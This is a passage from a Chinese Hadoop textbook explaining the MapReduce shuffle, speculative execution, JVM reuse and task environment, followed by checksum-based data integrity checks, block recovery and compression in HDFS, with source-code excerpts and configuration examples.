Map端\n从MapReduce的程序中可以看出，Map的输出结果是由collector处理的，所以Map端的shuffle过程包含在collect函数对Map输出结果的处理过程中。下面从具体的代码来分析Map端的shuffle过程。\n首先从collect函数的代码入手（MapTask类）。从下面的代码段可以看出Map函数的输出内存缓冲区是一个环形结构。\nfinal int kvnext=（kvindex+1）%kvoffsets.length；\n当输出内存缓冲区内容达到设定的阈值时，就需要把缓冲区内容分割（spill）到磁盘中。但是在分割的时候Map并不会阻止继续向缓冲区中写入结果，如果Map结果生成的速度快于写出速度，那么缓冲区会写满，这时Map任务必须等待，直到分割写出过程结束。这个过程可以参考下面的代码。\ndo{\n//在环形缓冲区中，如果下一个空闲位置同起始位置相等，那么缓冲区\n//已满\nkvfull=kvnext==kvstart；\n//环形缓冲区的内容是否达到写出的阈值\nfinal boolean kvsoftlimit=（（kvnext＞kvend）\n?kvnext-kvend＞softRecordLimit\n：kvend-kvnext＜=kvoffsets.length-softRecordLimit）；\n//达到阈值，写出缓冲区内容，形成spill文件\nif（kvstart==kvend＆＆kvsoftlimit）{\nstartSpill（）；\n}\n//如果缓冲区满，则Map任务等待写出过程结束\nif（kvfull）{\nwhile（kvstart！=kvend）{\nreporter.progress（）；\nspillDone.await（）；\n}\n}\n}while（kvfull）；\n在collect函数中将缓冲区中的内容写出时会调用sortAndSpill函数。sortAndSpill每被调用一次就会创建一个spill文件，然后按照key值对需要写出的数据进行排序，最后按照划分的顺序将所有需要写出的结果写入这个spill文件中。如果用户作业配置了combiner类，那么在写出过程中会先调用combineAndSpill（）再写出，对结果进行进一步合并（combine）是为了让Map的输出数据更加紧凑。sortAndSpill函数的执行过程可以参考下面sortAndSpill函数的代码。\n//创建spill文件\nPath filename=mapOutputFile.getSpillFileForWrite（numSpills, size）；\nout=rfs.create（filename）；\n……\n//按照key值对待写出数据进行排序\nsorter.sort（MapOutputBuffer.this, kvstart, endPosition, reporter）；\n……\n//按照划分将数据写入文件\nfor（int i=0；i＜partitions；++i）{\nIFile.Writer＜K, V＞writer=null；\nlong segmentStart=out.getPos（）；\nwriter=new Writer＜K, V＞（job, out, keyClass, valClass, codec, spilledRecordsCounter）；\n//如果没有配置combiner类，数据直接写入文件\nif（null==combinerClass）{\n……\n}\nelse{\n……\n//如果配置了combiner类，则先调用combineAndSpill函\n//数后再写入文件\ncombineAndSpill（kvIter, combineInputCounter）；\n}\n}\n显然，直接将每个Map生成的众多spill文件（因为Map过程中，每一次缓冲区写出都会产生一个spill文件）交给Reduce处理不现实。所以在每个Map任务结束之后在Map的TaskTracker上还会执行合并操作（merge），这个操作的主要目的是将Map生成的众多spill文件中的数据按照划分重新组织，以便于Reduce处理。主要做法是针对指定的分区，从各个spill文件中拿出属于同一个分区的所有数据，然后将它们合并在一起，并写入一个已分区且已排序的Map输出文件中。这个过程的详细情况请参考mergeParts（）函数的代码，这里不再列出。\n待唯一的已分区且已排序的Map输出文件写入最后一条记录后，Map端的shuffle阶段就结束了。下面就进入Reduce端的shuffle阶段。\n6.4.2 Reduce端\n在Reduce端，shuffle阶段可以分成三个阶段：复制Map输出、排序合并和Reduce处理。下面按照这三个阶段进行详细介绍。\n如前文所述，Map任务成功完成后，会通知父TashTracker状态已更新，TaskTracker进而通知JobTracker（这些通知在心跳机制中进行）。所以，对于指定作业来说，JobTracker能够记录Map输出和TaskTracker的映射关系。Reduce会定期向JobTracker获取Map的输出位置。一旦拿到输出位置，Reduce任务就会从此输出对应的TaskTracker上复制输出到本地（如果Map的输出很小，则会被复制到执行Reduce任务的TaskTracker节点的内存中，便于进一步处理，否则会放入磁盘），而不会等到所有的Map任务结束。这就是Reduce任务的复制阶段。\n在Reduce复制Map的输出结果的同时，Reduce任务就进入了合并（merge）阶段。这一阶段主要的任务是将从各个Map TaskTracker上复制的Map输出文件（无论在内存还是在磁盘）进行整合，并维持数据原来的顺序。\nreduce端的最后阶段就是对合并的文件进行reduce处理。下面是reduce Task上run函数的部分代码，从这个函数可以看出整个Reduce端的三个步骤。\n//复制阶段，从map TaskTracker处获取Map输出\nboolean isLocal=\"local\".equals（job.get（\"mapred.job.tracker\"，\"local\"））；\nif（！isLocal）{\nreduceCopier=new ReduceCopier（umbilical, job, reporter）；\nif（！reduceCopier.fetchOutputs（））{\n……\n}\n}\n//复制阶段结束\ncopyPhase.complete（）；\n//合并阶段，将得到的Map输出合并\nsetPhase（TaskStatus.Phase.SORT）；\n……\n//合并阶段结束\nsortPhase.complete（）；\n//Reduce阶段\nsetPhase（TaskStatus.Phase.REDUCE）；\n//启动Reduce\nClass keyClass=job.getMapOutputKeyClass（）；\nClass valueClass=job.getMapOutputValueClass（）；\nRawComparator comparator=job.getOutputValueGroupingComparator（）；\nif（useNewApi）{\nrunNewReducer（job, umbilical, reporter, rIter, comparator, keyClass, valueClass）；\n}else{\nrunOldReducer（job, umbilical, reporter, rIter, comparator, keyClass, valueClass）；\n}\ndone（umbilical, reporter）；\n}\n6.4.3 shuffle过程的优化\n熟悉了上面介绍的shuffle过程，可能有读者会说：这个shuffle过程不是最优的。是的，Hadoop采用的shuffle过程并不是最优的。举个简单的例子，如果现在需要Hadoop集群完成两个集合的并操作，事实上并操作只需要让两个集群中重复的元素在最后的结果中出现一次就可以了，并不要求结果的元素是按顺序排列的。但是如果使用Hadoop默认的shuffle过程，那么结果势必是排好序的，显然这个处理就不是必须的了。在这里简单介绍从Hadoop参数的配置出发来优化shuffle过程。在一个任务中，完成单位任务使用时间最多的一般都是I/O操作。在Map端，主要就是shuffle阶段中缓冲区内容超过阈值后的写出操作。可以通过合理地设置ip.sort.*属性来减少这种情况下的写出次数，具体来说就是增加io.sort.mb的值。在Reduce端，在复制Map输出的时候直接将复制的结果放在内存中同样能够提升性能，这样可以让部分数据少做两次I/O操作（前提是留下的内存足够Reduce任务执行）。所以在Reduce函数的内存需求很小的情况下，将mapred.inmem.merge.threshold设置为0，将mapreed.job.reduce.input.buffer.percent设置为1.0（或者一个更低的值）能够让I/O操作更少，提升shuffle的性能。\n6.5 任务执行\n本章前面详细介绍了MapReduce作业的执行流程，也简单介绍了基于Hadoop自身的一些参数优化。本节再介绍一些Hadoop在任务执行时的具体策略，让读者进一步了解MapReduce任务的执行细节，以便控制细节。\n 6.5.1 推测式执行\n所谓推测式执行是指当作业的所有任务都开始运行时，JobTracker会统计所有任务的平均进度，如果某个任务所在的TaskTracker节点由于配置比较低或CPU负载过高，导致任务执行的速度比总体任务的平均速度要慢，此时JobTracker就会启动一个新的备份任务，原有任务和新任务哪个先执行完就把另外一个kill掉，这就是经常在JobTracker页面看到任务执行成功、但是总有些任务被kill的原因。\nMapReduce将待执行作业分割成一些小任务，然后并行运行这些任务，提高作业运行的效率，使作业的整体执行时间少于顺序执行的时间。但很明显，运行缓慢的任务（可能因为配置问题、硬件问题或CPU负载过高）将成为MapReduce的性能瓶颈。因为只要有一个运行缓慢的任务，整个作业的完成时间将被大大延长。这个时候就需要采用推测式执行来避免出现这种情况。当JobTracker检测到所有任务中存在运行过于缓慢的任务时，就会启动另一个相同的任务作为备份。原始任务和备份任务中只要有一个完成，另一个就会被中止。推测式执行的任务只有在一个作业的所有任务开始执行之后才会启动，并且只针对运行一段时间之后、执行速度慢于整个作业的平均执行速度的情况。\n推测式执行在默认情况下是启用的。这种执行方式有一个很明显的缺陷：对于由于代码缺陷导致的任务执行速度过慢，它所启用的备份任务并不会解决问题。除此之外，因为推测式执行会启动新的任务，所以这种执行方式不可避免地会增加集群的负担。所以在利用Hadoop集群运行作业的时候可以根据具体情况选择开启或关闭推测式执行策略（通过设置mapred.map.tasks.speculative.execution和mapred.reduce.tasks.speculative.execution属性的值来为Map和Reduce任务开启或关闭推测式执行策略）。\n6.5.2 任务JVM重用\n在本章图6-1中可以看出，不论是Map任务还是Reduce任务，都是在TaskTracker节点上的Java虚拟机（JVM）中运行的。当TaskTracker被分配一个任务时，就会在本地启动一个新的Java虚拟机来运行这个任务。对于有大量零碎输入文件的Map任务而言，为每一个Map任务启动一个Java虚拟机这种做法显然还有很大的改善空间。如果在一个非常短的任务结束之后让后续的任务重用此Java虚拟机，这样就可以省下新任务启动新的Java虚拟机的时间，这就是所谓的任务JVM重用。需要注意的是，虽然一个TaskTracker上可能会有多个任务在同时运行，但这些正在执行的任务都是在相互独立的JVM上的。TaskTracker上的其他任务必须等待，因为即使启用JVM重用，JVM也只能顺序执行任务。\n控制JVM重用的属性是mapred.job.reuse.jvm.num.tasks。这个属性定义了单个JVM上运行任务的最大数目，默认情况下是1，意味着每个JVM上运行一个任务。可以将这个属性设置为一个大于1的值来启用JVM重用，也可以将此属性设为-1，表明共享此JVM的任务数目不受限制。\n6.5.3 跳过坏记录\nMapReduce作业处理的数据集非常庞大，用户在基于MapReduce编写处理程序时可能并不会考虑到数据集中的每一种数据格式和字段（特别是某些坏的记录）。所以，用户代码在处理数据集中的某个特定记录时可能会崩溃。这个时候即使MapReduce有错误处理机制，但是由于存在这种代码缺陷，即使重新执行4次（默认的最大重新执行次数），这个任务仍然会失败，最终也会导致整个作业失败。所以针对这种由于坏数据导致任务抛出的异常，重新运行任务是无济于事的。但是，如果想要在庞大的数据集中找出这个坏记录，然后在程序中添加相应的处理代码或直接除去这条坏记录，显然也是很困难的一件事情，况且并不能保证没有其他坏记录。所以最好的办法就是在当前代码对应的任务执行期间，遇到坏记录时就直接跳过去（由于数据集巨大，忽略这种极少数的坏记录是可以接受的），然后继续执行，这就是Hadoop中的忽略模式（skipping模式）。当忽略模式启动时，如果任务连续失败两次，它会将自己正在处理的记录告诉TaskTracker，然后TaskTracker会重新运行该任务并在运行到先前任务报告的记录时直接跳过。从忽略模式的工作方式可以看出，忽略模式只能检测并忽略一个错误记录，因此这种机制仅适用于检测个别错误记录。如果增加任务尝试次数最大值（这由mapred.map.max.attemps和mapred.reduce.max.attemps两个属性决定），可以增加忽略模式能够检测并忽略的错误记录数目。默认情况下忽略模式是关闭的，可以使用SkipBadRedcord类单独为Map和Reduce任务启用它。\n6.5.4 任务执行环境\nHadoop能够为执行任务的TaskTracker提供执行所需要的环境信息。例如，Map任务可以知道自己所处理文件的名称、自己在作业任务群中的ID号等。JobTracker分配任务给TaskTracker时，就会将作业的配置文件发送给TaskTracker, TaskTracker将此文件保存在本地。从本章前面的介绍中我们知道，TaskTracker是在本节点单独的JVM上以子进程的形式执行Map或Reduce任务的。所以启动Map或Reduce Task时，会直接从父TaskTracker处继承任务的执行环境。图6-2列出了每个Task执行时使用的本地参数（从作业配置中获取，返回给Task的是配置信息）。\n图 6-2 Task的本地参数表\n当Job启动时，TaskTracker会根据配置文件创建Job和本地缓存。TaskTracker的本地目录是${mapred.local.dir}/taskTracker/。在这个目录下有两个子目录：一个是作业的分布式缓存目录，路径是在本地目录后面加上archive/：一个是本地Job目录，路径是在本地目录后面加上jobcache/$jobid/，在这个目录下保存了Job执行的共享目录（各个任务可以使用这个空间作为暂存空间，用于任务之间的文件共享，此目录通过job.local.dir参数暴露给用户）、存放JAR包的目录（保存作业的JAR文件和展开的JAR文件）、一个XML文件（此XML文件是本地通用的作业配置文件）和根据任务ID分配的任务目录（每个任务都有一个这样的目录，目录中包含本地化的任务作业配置文件，存放中间结果的输出文件目录、任务当前工作目录和任务临时目录）。\n关于任务的输出文件需要注意的是，应该确保同一个任务的多个实例不会尝试向同一个文件进行写操作。因为这可能会存在两个问题，第一个问题是，如果任务失败并被重试，那么会先删除第一个任务的旧文件；第二个问题是，在推测式执行的情况下同一任务的两个实例会向同一个文件进行写操作。Hadoop通过将输出写到任务的临时文件夹来解决上面的两个问题。这个临时目录是{mapred.out put.dir}/_temporary/${mapred.task.id}。如果任务执行成功，目录的内容（任务输出）就会被复制到此作业的输出目录（${mapred.out.put.dir}）。因此，如果一个任务失败并重试，第一个任务尝试的部分输出就会被消除。同时推测式执行时的备份任务和原始任务位于不同的工作目录，它们的临时输出文件夹并不相同，只有先完成的任务才会把其工作目录中的输出内容传到输出目录中，而另外一个任务的工作目录就会被丢弃。\n6.6 本章小结\n本章从MapReduce程序中的JobClient.runJob（conf）开始，给出了MapReduce执行的流程图，并分析了流程图中的四个核心实体，结合实际代码介绍了MapReduce执行的详细流程。MapReduce的执行流程简单概括如下：用户作业执行JobClient.runJob（conf）代码会在Hadoop集群上将其启动。启动之后JobClient实例会向JobTracker获取JobId，而且客户端会将作业执行需要的作业资源复制到HDFS上，然后将作业提交给JobTracker。JobTracker在本地初始化作业，再从HDFS作业资源中获取作业输入的分割信息，根据这些信息JobTracker将作业分割成多个任务，然后分配给在与JobTracker心跳通信中请求任务的TaskTracker。TaskTracker接收到新的任务之后会先从HDFS上获取作业资源，包括作业配置信息和本作业分片的输入，然后在本地启动一个JVM并执行任务。任务结束之后将结果写回HDFS。\n介绍完MapReduce作业的详细流程后，本章还重点介绍了MapReduce中采用的两种机制，分别是错误处理机制和作业调度机制。在错误处理机制中，如果遇到硬件故障，MapReduce会将故障节点上的任务分配给其他节点处理。如果遇到任务失败，则会重新执行。在作业调度机制中，主要介绍了公平调度器。这种调度策略能够按照提交作业的用户数目将资源公平地分到用户的作业池中，以达到用户公平共享整个集群的目的。\n本章最后介绍了MapReduce中两个流程的细节，分别是shuffle和任务执行。在shuffle中，从代码入手介绍了Map端和Reduce端的shuffle过程及shuffle的优化。shuffle的过程可以概括为：在Map端，当缓冲区内容达到阈值时Map写出内容。写出时按照key值对数据排序，再按照划分将数据写入文件，然后进行merge并将结果交给Reduce。在Reduce端，TaskTracker先从执行Map的TaskTracker节点上复制Map输出，然后对排序合并，最后进行Reduce处理。关于任务执行则主要介绍了三个任务执行的细节，分别是推测式执行、JVM重用和执行环境。推测式执行是指JobTracker在作业执行过程中，发现某个作业执行速度过慢，为了不影响整个作业的完成进度，会启动和这个作业完全相同的备份作业让TaskTracker执行，最后保留二者中较快完成的结果。JVM重用主要是针对比较零碎的任务，对于新任务不是启动新的JVM，而是在先前任务执行完毕的JVM上直接执行，这样节省了JVM启动的时间。在任务执行环境中主要介绍了任务执行参数的内容和任务目录结构，以及任务临时文件夹的使用情况。\n第7章 Hadoop I/O操作\n本章内容\nI/O操作中的数据检查\n数据的压缩\n数据的I/O中序列化操作\n针对Mapreduce的文件类\n本章小结\nHadoop工程下与I/O相关的包如下：\norg. apache.hadoop.io\norg. apache.hadoop.io.compress\norg. apache.hadoop.io.file.tfile\norg. apache.hadoop.io.serializer\norg. apache.hadoop.io.serializer.avro\n除了org.apache.hadoop.io.serializer.avro用于为Avro（与Hadoop相关的Apache的另一个顶级项目）提供数据序列化操作外，其余都是用于Hadoop的I/O操作。\n除此以外，部分fs类中的内容也与本章有关，所以本章也会提及一些，不过大都是一些通用的东西，由于对HDFS的介绍不是本章的重点，在此不会详述。\n可以说，Hadoop的I/O由传统的I/O操作而来，但是又有些不同。第一，在我们常见的计算机系统中，数据是集中的，无论多少电影、音乐或者Word文档，它只会存在于一台主机中，而Hadoop则不同，Hadoop系统中的数据经常是分散在多个计算机系统中的；第二，一般而言，传统计算机系统中的数据量相对较小，大多在GB级别，而Hadoop处理的数据经常是PB级别的。\n变化就会带来问题，这两个变化带给我们的问题就是Hadoop的I/O操作不仅要考虑本地主机的I/O操作成本，还要考虑数据在不同主机之间的传输成本。同时Hadoop的数据寻址方式也要改变，才能应对庞大数据带来的寻址压力。\n虽说Hadoop的I/O操作与传统方式已经有了一些变化，但是仍未脱离传统的数据I/O操作，因此如果熟悉传统的I/O操作，你会发现本章的内容非常简单。\n7.1 I/O操作中的数据检查\nApache的Hadoop官网上有一个名为Sort900的具体的Hadoop配置实例，所谓Sort900就是在900台主机上对9TB的数据进行排序。一般而言，在Hadoop集群的实际应用中，主机的数目是很大的，Sort900使用了900台主机，而淘宝目前则使用了1100台主机来存储他们的数据（据说计划扩充到1500台）。在这么多的主机同时运行时，你会发现主机损坏是非常常见的，这就会涉及很多程序上的预处理了。对于本章而言，就体现在Hadoop中进行数据完整性检查的重要性上。\n校验和方式是检查数据完整性的重要方式。一般会通过对比新旧校验和来确定数据情况，如果两者不同则说明数据已经损坏。比如，在传输数据前生成了一个校验和，将数据传输到目的主机时再次计算校验和，如果两次的校验和不同，则说明数据已经损坏。或者在系统启动时计算校验和，如果其值和硬盘上已经存在的校验和不同，那么也说明数据已经损坏。校验和不能恢复数据，只能检测错误。\nHadoop采用CRC-32（Cyclic Redundancy Check---循环冗余校验，32指生成的校验和是32位的）的方式检查数据完整性。这是一种非常常见的校验和验证方式，检错能力强，开销小，易于实现。如果大家有兴趣可以自行查阅资料了解。\nHadoop采用HDFS作为默认的文件系统，因此我们需要讨论两方面的数据完整性：\n1）本地文件系统的数据完整性；\n2）HDFS的数据完整性。\n1.对本地文件I/O的检查\n在Hadoop中，本地文件系统的数据完整性由客户端负责。重点是在存储和读取文件时进行校验和的处理。\n具体做法是，每当Hadoop创建文件a时，Hadoop就会同时在同一文件夹下创建隐藏文件.a.crc，这个文件记录了文件a的校验和。针对数据文件的大小，每512个字节Hadoop就会生成一个32位的校验和（4字节），你可以在src/core/core-default.xml中通过修改io.bytes.per.checksum的大小来修改每个校验和所针对的文件的大小。如下所示：\n＜property＞\n＜name＞io.bytes.per.checksum＜/name＞\n＜value＞512＜/value＞\n＜description＞The number of bytes per checksum.Must not be larger than io.file.\nbuffer.size.＜/description＞\n＜/property＞\n一般来说，主流的文件系统都能在一定程度上保证数据的完整性，因此有可能你并不需要Hadoop的这部分功能。如果不需要，你可以通过修改文件src/core/core-default.xml中fs.file.impl的值来禁用校验和机制，如下所示：\n＜property＞\n＜name＞fs.file.impl＜/name＞\n＜value＞org.apache.hadoop.fs.LocalFileSystem＜/value＞\n＜description＞The FileSystem for file：uris.＜/description＞\n＜/property＞\n把值修改为org.apache.hadoop.fs.RawLocalFileSystem即可禁用校验和机制。\n如果你只想在程序中对某些读取禁用校验和检验，那么你可以声明RawLocalFileSystem实例。例如：\nFileSystem fs=new RawFileSystem（）；\nFs.initialize（null, conf）；\n在Hadoop中，校验和系统单独为一类—org.apache.hadoop.fs.ChecksumFileSystem，当需要校验和机制时，你可以很方便地调用它来为你服务。\n引用方法为：\nFileSystem rawFS=……；\nFileSystem checksumFS=new ChecksumFileSystem（rawFS）；\n事实上，org.apache.hadoop.fs.ChecksumFileSystem是org.apache.hadoop.fs.FileSystem子类的子类，其继承关系如下：\njava.lang.Object\n-org.apache.hadoop.conf.Configured\n-org.apache.hadoop.fs.FileSystem\n-org.apache.hadoop.fs.FilterFileSystem\n-org.apache.hadoop.fs.ChecksumFileSystem\n-org.apache.hadoop.fs.LocalFileSystem\n如果大家对这些类的作用感兴趣，可以查阅Hadoop的app文档，地址为http：//hadoop.apache.org/common/docs/current/api/index.html。\n读取文件时，如果ChecksumFileSystem检测到错误，便会调用reportChecksumFailure。这是一个布尔类型的函数，此时，LocalFileSystem会把这些问题文件及其校验和一起移动到同一台主机的次级目录下，命名为bad_files。一般而言，使用者需要经常处理这些文件。\n2.对HDFS的I/O数据进行检查\n一般来说，HDFS会在三种情况下检验校验和：\n（1）DataNode接收数据后存储数据前\n要了解这种情况，大家先要了解DataNode一般会在什么时候接收数据。它接收数据一般有两种情况：一是用户从客户端上传数据；二是DataNode从其他DataNode上接收数据。一般来说，客户端往往也是DataNode，不过有时候客户端仅仅是客户端而已，并不是Hadoop集群中的节点。当客户端上传数据时，Hadoop会根据预定规则形成一条数据管线。图7-1就是一个典型的副本管线（数据备份为3）。数据0是原数据，数据1、数据2、数据3是备份。\n图 7-1 数据管线及数据备份流程图\n数据将按管线流动以完成数据的上传及备份过程，图7-1中顺序就是先在客户端这个节点上保存数据（在这张图上，客户端也是Hadoop集群中的一个节点）。注意这个流动的过程，备份1在接收数据的同时也会把接收到的数据发送给备份2所在的机器，因此如果过程执行顺利，三个备份形成的时间相差不多（相对依次备份而言）。这里面涉及一个负载均衡的问题，不过这个问题不是本章的重点，这里不再详述。我们在这里只关心数据完整性的问题。在传输数据的最开始阶段，Hadoop会简单地检查数据块的完整性信息，这一点从DataNode的源代码也可以看出。下面是DataNode在各个待传输节点之间传输数据的主要函数transferBlock（Block block, DataNodeInfo xferTargets[]），其中检查的主要代码如下：\n//检查数据块是否真正存在\nif（！data.isValidBlock（block））{\n……\nreturn；\n}\n//检查NameNode上数据块长度和硬盘数据块长度是否匹配\nlong onDiskLength=data.getLength（block）；\nif（block.getNumBytes（）＞onDiskLength）{\n……\nreturn；\n}\n上面简单地检查之后，就开始向各个DataNode传输数据，在传输过程中会一同发送数据头信息，包括块信息、源DataNode信息、备份个数、校验和等，可参考DataTransfer中run函数的部分代码：\n//数据头信息out.writeShort（DataTransferProtocol.DATA_TRANSFER_VERSION）；\n//数据传输版本\nout.writeByte（DataTransferProtocol.OP_WRITE_BLOCK）；\nout.writeLong（b.getBlockId（））；//块ID\nout.writeLong（b.getGenerationStamp（））；//生成时间戳\n……\nsrcNode.write（out）；//写入源DataNode信息\nout.writeInt（targets.length-1）；//备份个数\nfor（int i=1；i＜targets.length；i++）{\ntargets[i].write（out）；\n}\nblockSender.sendBlock（out, baseStream, null）；//数据块和校验和\nHadoop不会在数据每流动到一个DataNode时都检查校验和，它只会在数据流动到最后一个节点时才检验校验和。也就是说Hadoop会在备份3所在的DataNode接受完数据后检查校验和。具体核心代码如BlockSender.java中的部分代码：\n//通过设置的DataNode序列流正常传输数据\nIOUtils.readFully（blockIn, buf, dataOff, len）；\n//传输结束后，根据配置的verifyChecksum来检测数据完整性\nif（verifyChecksum）{\n……\nfor（int i=0；i＜numChunks；i++）{\nchecksum.reset（）；\nint dLen=Math.min（dLeft, bytesPerChecksum）；\nchecksum.update（buf, dOff, dLen）；\nif（！checksum.compare（buf, cOff））{\nthrow new ChecksumException（\"Checksum failed at\"+\n（offset+len-dLeft），len）；\n}\n……\n}\n}\n这就是从客户端上传数据时Hadoop对数据完整性检测进行的相关处理。\nDataNode从其他DataNode接收数据时也是同样的处理过程。\n（2）客户端读取DataNode上的数据时\nHadoop会在客户端读取DataNode上的数据时，使用DFSClient中的read函数先将数据读入到用户的数据缓冲区，然后再检验校验和。具体代码片段如下：\n//读取数据到缓冲区\nint nRead=super.read（buf, off, len）；\nif（dnSock！=null＆＆gotEOS＆＆！eosBefore＆＆nRead＞=0\n＆＆needChecksum（））{\n//检查校验和\nchecksumOk（dnSock）；\n}\n（3）DataNode后台守护进程的定期检测\nDataNode会在后台运行DataBlockScanner，这个程序会定期检测此DataNode上的所有数据块。从DataNode.java中startDataNode函数的源代码就可以看出：\n//根据配置信息初始化DataNode上的定期数据扫描器\nString reason=null；\nif（conf.getInt（\"dfs.DataNode.scan.period.hours\"，0）＜0）{\nreason=\"verification is turned off by configuration\"；\n}else if（！（data instanceof FSDataset））{\nreason=\"verifcation is supported only with FSDataset\"；\n}\nif（reason==null）{\nblockScanner=new DataBlockScanner（this，（FSDataset）data, conf）；\n}else{\nLOG.info（\"Periodic Block Verification is disabled because\"+reason+\".\"）；\n}\n……\n//将扫描服务加入DataNode服务中\nthis.infoServer.addServlet（null，\"/blockScannerReport\"，\nDataBlockScanner.Servlet.class）；\n……\nthis.infoServer.start（）；\n3.数据恢复策略\n在Hadoop上进行数据读操作时，如果发现某数据块失效，读操作涉及的用户、DataNode和NameNode都会尝试来恢复数据块，恢复成功后会设置标签，防止其他角色重复恢复。下面以DataNode端的恢复为例说明恢复数据块的详细步骤，代码参见DataNode中的recoverBlock函数。\n（1）检查已恢复标签\n检查一致的数据块恢复标记，如果已经恢复，则直接跳过恢复阶段。\n//如果数据块已经被回复，则直接跳过恢复阶段\nsynchronized（ongoingRecovery）{\nBlock tmp=new Block（）；\ntmp.set（block.getBlockId（），block.getNumBytes（），GenerationStamp.WILDCARD_STAMP）；\nif（ongoingRecovery.get（tmp）！=null）{\nString msg=\"Block\"+block+\"is already being recovered，\"+\"\nignoring this request to recover it.\"；\nLOG.info（msg）；\nthrow new IOException（msg）；\n}\nongoingRecovery.put（block, block）；\n}\n（2）统计各个备份数据块恢复状态\n在这个阶段，DataNode会检查所有出错数据块备份的DataNode，查看这些节点上数据块的恢复信息，然后将所有版本正确的数据块信息、DataNode信息作为一条记录保存在数据块记录表中。\n//检查每个数据块备份DataNode\nfor（DataNodeID id：datanodeids）{\ntry{\n//获取数据块信息\nBlockRecoveryInfo info=datanode.startBlockRecovery（block）；\n//数据块已不存在\nif（info==null）{\ncontinue；\n}\n//数据块版本较晚\nif（info.getBlock（）.getGenerationStamp（）＜block.getGenerationStamp（））{\ncontinue；\n}\n//正确版本数据块的信息保存起来\nblockRecords.add（new BlockRecord（id, datanode, info））；\nif（info.wasRecoveredOnStartup（））{\nrwrCount++；//等待回复数\n}else{\nrbwCount++；//正在恢复数\n}\n}catch（IOException e）{\n++errorCount；//出错数\n}\n}\n（3）找出所有正确版本数据块中最小长度的版本\n在这一步骤中，DataNode会逐个扫描上一阶段中保存的数据块记录，首先判断当前副本是否正在恢复，如果正在恢复则跳过，如果不是正在恢复并且配置参数设置了恢复需要保持原副本长度，则将恢复长度相同的副本加入待恢复队列，否则将所有版本正确的副本加入待恢复队列。\nfor（BlockRecord record：blockRecords）{\nBlockRecoveryInfo info=record.info；\nif（！shouldRecoverRwrs＆＆info.wasRecoveredOnStartup（））{\ncontinue；\n}\nif（keepLength）{\nif（info.getBlock（）.getNumBytes（）==block.getNumBytes（））\n{syncList.add（record）；}\n}else{\nsyncList.add（record）；\nif（info.getBlock（）.getNumBytes（）＜minlength）{\nminlength=info.getBlock（）.getNumBytes（）；\n}\n}\n}\n（4）副本同步\n如果需要保持副本长度，那么直接同步长度相同的副本即可，否则以长度最小的副本同步其他副本。\nif（！keepLength）{\nblock.setNumBytes（minlength）；\n}\nreturn syncBlock（block, syncList, targets, closeFile）；\n与读取本地文件的情况相同，用户也可以使用命令来禁用检验和检验（从前面的代码中也可以看出，通常在检查校验和之前都有needChecksum等选项）。有两种方法可以达到这个目的。\n一个是在使用open（）读取文件前，设置FileSystem中的setVerifyChecksum值为false。\nFileSystem fs=new FileSystem（）；\nFs.setVerifyChecksum（false）；\n另一个是使用shell命令，比如get命令和copyToLocal命令。\nget命令的使用方法如下所示：\nhadoop fs-get[-ignoreCrc][-crc]＜src＞＜localdst＞\n举个例子：\nhadoop fs-get-ignoreCrc input～/Desktop/\nget命令会复制文件到本地文件系统。可用-ignorecrc选项复制CRC校验失败的文件，或者使用-crc选项复制文件，以及CRC信息。\ncopyToLocal的使用方法如下所示：\nhadoop fs-copyToLocal[-ignorecrc][-crc]URI＜localdst＞\n再举个例子：\nhadoop fs-copyToLocal-ignoreCrc input～/Desktop\n除了要限定目标路径是一个本地文件外，其他和get命令类似。\n禁用校验和检验的最主要目的并不是节约时间，用于检验校验和的开销一般情况都是可以接受的，禁用校验和检验的主要原因是，如果不禁用校验和检验，就无法下载那些已经损坏的文件来查看是否可以挽救，而有时候即使是只能挽救一小部分文件也是很值得的。\n7.2 数据的压缩\n对于任何大容量的分布式存储系统而言，文件压缩都是必须的，文件压缩带来了两个好处：\n1）减少了文件所需的存储空间；\n2）加快了文件在网络上或磁盘间的传输速度。\nHadoop关于文件压缩的代码几乎都在package org.apache.hadoop.io.compress中。本节的内容将会主要围绕这一部分展开。\n 7.2.1 Hadoop对压缩工具的选择\n有许多压缩格式和压缩算法是可以应用到Hadoop中的，但是不同的算法都有各自的特点。表7-1是Hadoop中使用的一些压缩算法，表7-2是它们的压缩格式和特点。\n压缩一般都是在时间和空间上的一种权衡。一般来说，更长的压缩时间会节省更多的空间。不同的压缩算法之间有一定的区别，而同样的压缩算法在压缩不同类型的文件时表现也不同。jeff的试验比较报告中包含了面对不同文件在各种要求（最佳压缩、最快速度等）下的最佳压缩工具。如果大家感兴趣可以自行查阅，地址为http：//compression.ca/act/act-summary.html（这个地址是总体评价，此网站还有不同压缩工具面对不同类型文件时的具体表现）。\n7.2.2 压缩分割和输入分割\n压缩分割和输入分割是很重要的内容，比如，如果需要处理经Gzip压缩后的5GB大小的文件，按前面介绍过的分割方式，Hadoop会将其分割为80块（每块64MB，这是默认值，可以根据需要修改）。但是这是没有意义的，因为在这种情况下，Hadoop不会分割存储Gzip压缩的文件，程序无法分开读取每块的内容，那么也就无法创建多个Map程序分别来处理每块内容。\n而bzip2的情况就不一样了，它支持文件分割，用户可以分开读取每块内容并分别处理之，因此bzip2压缩的文件可分割存储。\n7.2.3 在MapReduce程序中使用压缩\n在MapReduce程序中使用压缩非常简单，只需在它进行Job配置时配置好conf就可以了。\n设置Map处理后压缩数据的代码示例如下：\nJobConf conf=new Jobconf（）；\nconf.setBoolean（\"mapred.compress.map.output\"，true）；\n设置output输出压缩的代码示例如下：\nJobConf conf=new Jobconf（）；\nconf.setBoolean（\"mapred.output.compress\"，true）；\nconf.setClass（\"mapred.output.compression.codec\"，GzipCodec.class, CompressionCodec.class）；\n对一般情况而言，压缩总是好的，无论是对最终结果的压缩还是对Map处理后的中间数据进行压缩。对Map而言，它处理后的数据都要输出到硬盘上并经过网络传输，使用数据压缩一般都会加快这一过程。对最终结果的压缩不单会加快数据存储的速度，也会节省硬盘空间。\n下面我们做一个实验来看看在MapReduce中使用压缩与不使用压缩的效率差别。\n先来叙述一下我们的实验环境：这是由六台主机组成的一个小集群（一台Master，三台Salve）。输入文件为未压缩的大约为300MB的文件，它是由随机的英文字符串组成的，每个字符串都是5位的英文字母（大小写被认为是不同的），形如“AdEfr”，以空格隔开，每50个一行，共50 000 